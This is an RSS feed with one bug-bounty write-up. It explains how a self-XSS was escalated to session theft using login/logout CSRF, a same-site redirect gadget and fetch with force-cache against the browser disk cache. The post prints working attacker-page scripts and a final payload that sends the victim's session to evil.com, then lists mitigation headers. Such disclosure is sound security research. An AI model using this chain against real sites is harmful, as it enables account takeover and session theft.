<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Spoderx555 on Medium]]></title>
        <description><![CDATA[Stories by Spoderx555 on Medium]]></description>
        <link>https://medium.com/@spoderx555?source=rss-aae812bf24c8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*vQWgcqZ9mjJFiSFF</url>
            <title>Stories by Spoderx555 on Medium</title>
            <link>https://medium.com/@spoderx555?source=rss-aae812bf24c8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 12:02:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@spoderx555/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Escalating Self-XSS with Disk Cache]]></title>
            <link>https://medium.com/@spoderx555/escalating-self-xss-with-disk-cache-1716e420754f?source=rss-aae812bf24c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/1716e420754f</guid>
            <category><![CDATA[self-xss]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Spoderx555]]></dc:creator>
            <pubDate>Tue, 05 May 2026 17:12:25 GMT</pubDate>
            <atom:updated>2026-06-11T07:34:24.211Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone! I’m here to share my Self-XSS escalation write-up, one that took me multiple failed attempts before I finally cracked it with some much needed help. huge thanks to <a href="https://jorianwoltjer.com/"><strong>Jorian</strong></a> for helping me complete this exploit (check him out if you haven’t already phenomenal hacker).</p><h3>Initial Discovery</h3><p>I found a Self-XSS vulnerability on the target application along with login/logout CSRF. After that, I attempted the following approaches:</p><h4>1. Cookie Tossing</h4><p>My first idea was to use the <strong>cookie tossing</strong> technique after forcing the victim to log out and log in to the attacker’s account, the Self-XSS executes, clearing the <strong>HttpOnly</strong> session cookie via a cookie-jar overflow, then setting the attacker’s session cookie with a <strong>Path=/self-xss </strong>attribute and redirecting to the log in page. This way, after the victim re-logs in (either immediately or sometime later), they wouldn’t notice the attacker’s session cookie, which would only be used for the Self-XSS path, while the victim’s session remains active on other endpoints.</p><p>Unfortunately, this didn’t work. The reason behind that is setting a <strong>Path=</strong> attribute causes the cookie to appear first in order, but the target server was reading the last cookie in the list.</p><p>This technique could also be applied from a subdomain XSS by using the <strong>Domain=</strong> cookie attribute, after the cookie-jar overflow, set the session cookie with <strong>Domain=www.target.com</strong> along with <strong>Path=/self-xss</strong>.</p><h4>2. Stealing reflected session cookie</h4><p>I then noticed the session cookie was being reflected on the page. My immediate thought was to open the victim’s page and trigger the Self-XSS on a separate tab to steal the session. However, I quickly ran into a wall: the Self-XSS page was using <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cross-Origin-Opener-Policy"><strong>Cross-Origin-Opener-Policy</strong></a> <strong>COOP: same-origin</strong> the strictest option.<br>This setting ensures that the page shares a <strong>Browser Context Group (BCG) </strong>only with pages that are <strong>same-origin</strong> and have the same <strong>COOP: same-origin</strong> directive.</p><h4>3. The Winning Path</h4><p>Running low on options, I reached out to Jorian and started discussing ideas.</p><p>Reading about the <a href="https://mizu.re/post/heroctf-v6-writeups#cacheCache"><strong>Cache Cache CTF Challenge</strong></a> and <a href="https://book.jorianwoltjer.com/web/client-side/caching#poisoning-top-level-navigation-with-fetch"><strong>Poisoning top-level navigation with fetch()</strong></a> gave me some inspiration.</p><p>An idea came to mind: I had a sensitive page with a reflected session, what if I could somehow cache the page under the victim’s session and after completing the chain, use the Self-XSS to somehow retrieve the cached page and exfiltrate it?</p><p>This is made possible by using: <strong>fetch</strong> with <strong>force-cache</strong></p><p>After telling Jorian, he instantly came up with a solution.</p><h4>Disk Cache and fetch with force-cache</h4><p>Opening the sensitive page on behalf of the victim result a disk cache. After performing the login/logout CSRF and triggering the Self-XSS, use <strong>fetch </strong>with the cache mode<strong> force-cache</strong>:</p><pre>fetch(&quot;/sensitive-page&quot;, { cache: &quot;force-cache&quot; });</pre><p>This forces the request to retrieve the cached response if one is present.</p><p>Sounds easy, right? Not so fast.</p><p>There’s a <a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_cache.cc;l=760-765;drc=99249cf38aaf17aaed2443d2f8489595c982ac01"><strong>cross-site navigation bit</strong></a> that gets set when navigating to the sensitive page. The fetch inside the Self-XSS won’t hit that cached response, because the cache key distinguishes between <strong>cross-site navigation</strong> and a <strong>same-site fetch</strong>.</p><p><strong>The fix:</strong> Use a same-site client-side redirect gadget. By routing through:</p><pre>Attacker Page → Client-Side Gadget → Sensitive Page</pre><p>the navigation to the sensitive page becomes same-site, causing the cache keys to collide as intended.</p><p>This could have been simpler if there were an API endpoint leaking the session cookie, as that would eliminate the need for the client-side gadget entirely.</p><h3>Final Exploit Chain</h3><p>1. Tab A (attacker-controlled) opens Tab B (also attacker-controlled).<br>2. Tab A redirects through the client-side gadget to the sensitive page, making it a same-site navigation and caching the response.</p><pre>// Tab-A.html<br>&lt;script&gt;<br>    addEventListener(&quot;click&quot;, () =&gt; {<br>        win = window.open(&quot;/Tab-b&quot;); // Step 1<br>        location = &quot;https://example.com/?redirect=/sensitive-page&quot;; // Step 2 <br>    });<br>&lt;/script&gt;</pre><p>3. Tab B performs the logout and login CSRF, then triggers the Self-XSS.</p><pre>// Tab-B.html<br>&lt;script&gt;<br>    setTimeout(() =&gt; {<br>        opener.location = &quot;https://example.com/logout&quot;; // logout csrf<br>        location = &quot;https://exmaple.com/?code=xxx&amp;redirect=/self-xss&quot; // login csrf then redirect to self-xss path<br>    }, 1000);<br>&lt;/script&gt;</pre><p>I was lucky that the sensitive page didn&#39;t have a <strong>COOP</strong> header but if it did, we can work around that without needing an extra click from the victim.</p><p>Using <a href="https://book.jorianwoltjer.com/web/client-side/cross-site-request-forgery-csrf#multiple-top-level-requests"><strong>Multiple top-level requests</strong></a> trick, basically using a form to send a top-level navigation request, and then cancel the navigation with <strong>window.stop()</strong> to stay on the attacker page.</p><pre>// Tab-B.html<br>&lt;script&gt;<br>    setTimeout(() =&gt; {<br>        (async () =&gt; {<br>            await logout();<br>            location = &quot;https://exmaple.com/?code=xxx&amp;redirect=/self-xss&quot;;<br>        })();<br>    }, 1000);<br><br>    async function logout() {<br>      const target = &quot;https://example.com&quot;;<br><br>      // Warmup<br>      await fetch(target, {<br>        mode: &quot;no-cors&quot;,<br>        credentials: &quot;include&quot;,<br>      });<br><br>      // Measurement<br>      var start = performance.now();<br>      await fetch(target, {<br>        mode: &quot;no-cors&quot;,<br>        credentials: &quot;include&quot;,<br>      });<br>      const time = performance.now() - start;<br><br>      // Attack<br>      const timeout = time * 0.8;<br>      const form = document.createElement(&quot;form&quot;);<br>      form.action = `${target}/logout`;<br>      form.method = &quot;GET&quot;;<br>      document.body.appendChild(form);<br>      form.submit();<br>      await new Promise((resolve) =&gt; setTimeout(resolve, timeout)); // sleep<br>      window.stop();<br>    };<br>&lt;/script&gt;</pre><p>4. The Self-XSS executes:</p><pre>fetch(&quot;/sensitive-page&quot;, { cache: &quot;force-cache&quot; })<br>  .then((res) =&gt; res.text())<br>  .then((html) =&gt; {<br>    const parser = new DOMParser();<br>    const doc = parser.parseFromString(html, &quot;text/html&quot;);<br>    const session = doc.querySelector(&quot;&lt;selector&gt;&quot;).innerText; // grab the sensitive data from DOM element<br>    location = `https://evil.com/?session=${btoa(session)}`; // send data to attacker server<br>  });</pre><p>This reads the cached response and then you can exfiltrates the victim session data.</p><h3>Mitigations</h3><p>The following response headers would prevent this attack:</p><ul><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Vary"><strong>Vary: Cookie</strong></a><strong> </strong>ensures cached responses are scoped per cookie value.</li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cache-Control"><strong>Cache-Control: no-store</strong></a> prevents the response from being cached at all.</li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Clear-Site-Data"><strong>Clear-Site-Data: “cache”</strong></a><strong> </strong>can be used at login/logout requests to ensure the cache is cleared</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1716e420754f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>